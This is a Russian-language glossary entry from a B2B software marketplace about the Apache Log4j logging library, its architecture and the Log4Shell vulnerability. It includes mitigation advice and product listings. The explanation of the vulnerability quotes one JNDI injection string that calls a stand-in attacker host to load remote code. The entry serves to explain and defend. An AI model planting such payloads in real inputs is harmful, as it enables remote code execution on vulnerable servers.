Термин · Глоссарий B2B-ПО

Log4j (Log4j)

Log4j – широко распространённая библиотека логирования для языка Java, разработанная в рамках проекта Apache. Позволяет разработчикам гибко настраивать уровни, форматы и назначения (файл, консоль, база данных) журналов приложений. В 2021 году уязвимость Log4Shell (CVE-2021-44228) стала одной из наиболее критичных в истории ИТ.

Буква «L» В категориях: 4 Платформ: 6+

Введение

Log4j – библиотека логирования с открытым исходным кодом для языка Java, разрабатываемая в рамках проекта Apache Software Foundation. Она является частью более широкого семейства инструментов – Apache Logging Services – и считается стандартом де-факто для ведения журналов событий в Java-приложениях. Библиотека предоставляет богатый API для категоризации сообщений по уровням серьёзности, гибкой маршрутизации вывода и форматирования журналов.

В декабре 2021 года имя Log4j приобрело мрачную известность в связи с обнаружением критической уязвимости удалённого выполнения кода (RCE) Log4Shell (CVE-2021-44228), затронувшей сотни миллионов Java-приложений по всему миру.

История и контекст

Log4j был создан Чеки Гюлькю (Ceki Gülcü) в конце 1990-х годов и передан в Apache Software Foundation в 2001 году. Версия 1.x достигла широкого распространения к 2004 году. В 2015 году Apache выпустила Log4j 2 – полностью переработанную версию с улучшенной производительностью и поддержкой асинхронного логирования.

9 декабря 2021 года была опубликована информация об уязвимости Log4Shell: специально сформированная строка в логируемых данных позволяла выполнить произвольный код через механизм JNDI Lookup. CVSS-оценка уязвимости составила 10 из 10 – максимально возможное значение. Уязвимость затронула Apache Struts, VMware, Apple iCloud, Steam, Minecraft и тысячи корпоративных систем.

Как это работает

Архитектура Log4j 2 строится на трёх ключевых компонентах:

  • Logger: именованный канал для записи сообщений; организован иерархически по именам пакетов Java.
  • Appender: получатель лог-сообщений (файл, консоль, база данных, сетевой сокет, Kafka).
  • Layout: форматировщик вывода (PatternLayout, JSONLayout, XMLLayout).

Уязвимость Log4Shell эксплуатировала функциональность Message Lookup Substitution: при логировании строки вида ${jndi:ldap://attacker.com/a} Log4j выполнял JNDI-запрос к внешнему серверу, получая и исполняя произвольный Java-код. Патч (версия 2.15.0+) отключил данную функциональность по умолчанию.

Где применяется

  • Корпоративные Java-приложения на серверах приложений (JBoss, WebLogic, Tomcat).
  • Big Data платформы (Hadoop, Kafka, Elasticsearch используют Log4j как зависимость).
  • Микросервисы на базе Spring Boot – через зависимость от SLF4J/Log4j 2.
  • Android-приложения (до перехода на Logcat).

Преимущества и ограничения

Преимущества Log4j 2: высокая производительность (асинхронные логгеры на базе LMAX Disruptor), гибкая конфигурация через XML/JSON/YAML, поддержка Lambda-выражений, богатая экосистема плагинов.

Ограничения: сложность конфигурации для новичков; история с Log4Shell показала, что скрытые возможности (JNDI lookup) могут создавать серьёзные риски; в ряде случаев предпочтительнее более простые альтернативы (Logback, java.util.logging).

Связь с другими понятиями

Log4j является реализацией фасада SLF4J (Simple Logging Facade for Java) и тесно связан с концепцией лог-файлов как источника данных для Observability-платформ. Уязвимость Log4Shell стала показательным примером supply chain attack и дала импульс развитию инструментов анализа состава ПО (SBOM) и управления уязвимостями в компонентах с открытым кодом.

Понятия из глоссария Цифрового маркетплейса, которые часто встречаются вместе с термином «Log4j».

Платформы класса «Log4j»

Решения из каталога Цифрового маркетплейса, относящиеся к этому классу ПО. Карточки ведут на полные карточки платформ с тарифами, обзорами и кейсами внедрения.

Ключ-АСТРОМ

Ключ-АСТРОМ

ИТ-инфраструктура
Ключ-АСТРОМ — российская платформа мониторинга производительности приложений (APM) полного стека. Система объе...
Цена по запросу
★ 4.7
Подробнее →
ИН

ИндексЛог

Observability (Логи/Метрики/Трейсы)
ИндексЛог — система аналитики и визуализации лог-данных для мониторинга и анализа журналов событий информацион...
Цена по запросу
Подробнее →
GM

GMonit

ИТ-инфраструктура
GMonit — российский программный продукт из реестра отечественного ПО, включённый в топ-аналитику по своей кате...
Цена по запросу
Подробнее →
Field Connect

Field Connect

ИТ-инфраструктура
Программное обеспечение для удалённого управления и мониторинга сельскохозяйственного оборудования: дождевальн...
Цена по запросу
★ 4.7
Подробнее →

Категории каталога

Разделы каталога Цифрового маркетплейса, в которые входят решения, использующие «Log4j».

Где применяется

Отрасли, в которых «Log4j» используется на практике. Откройте отраслевой раздел Цифрового маркетплейса, чтобы увидеть подходящие решения, кейсы и новости.

Частые вопросы про Log4j

Что такое Log4j?

Библиотека логирования с открытым кодом для Java от Apache Software Foundation, позволяющая гибко настраивать уровни, форматы и назначения журналов приложений.

Что такое уязвимость Log4Shell?

Критическая RCE-уязвимость CVE-2021-44228 в Log4j 2, позволявшая выполнить произвольный код через специально сформированную строку в логируемых данных. CVSS 10/10.

Как защититься от Log4Shell?

Обновить Log4j до версии 2.17.1+, установить системное свойство log4j2.formatMsgNoLookups=true, заблокировать исходящие JNDI-запросы на уровне сети.

Чем Log4j 2 отличается от Log4j 1.x?

Log4j 2 поддерживает асинхронное логирование, лямбда-выражения и plugin-архитектуру. Log4j 1.x более не поддерживается с 2015 года.

Какие альтернативы Log4j существуют для Java?

Logback (от создателя Log4j, используется в Spring Boot по умолчанию), java.util.logging (стандартная JDK), Log4j 1.x (устаревший), tinylog.

Используется ли Log4j в российских корпоративных системах?

Да, косвенно – через зависимости от Apache Kafka, Hadoop, Elasticsearch и других платформ, входящих в состав корпоративной инфраструктуры.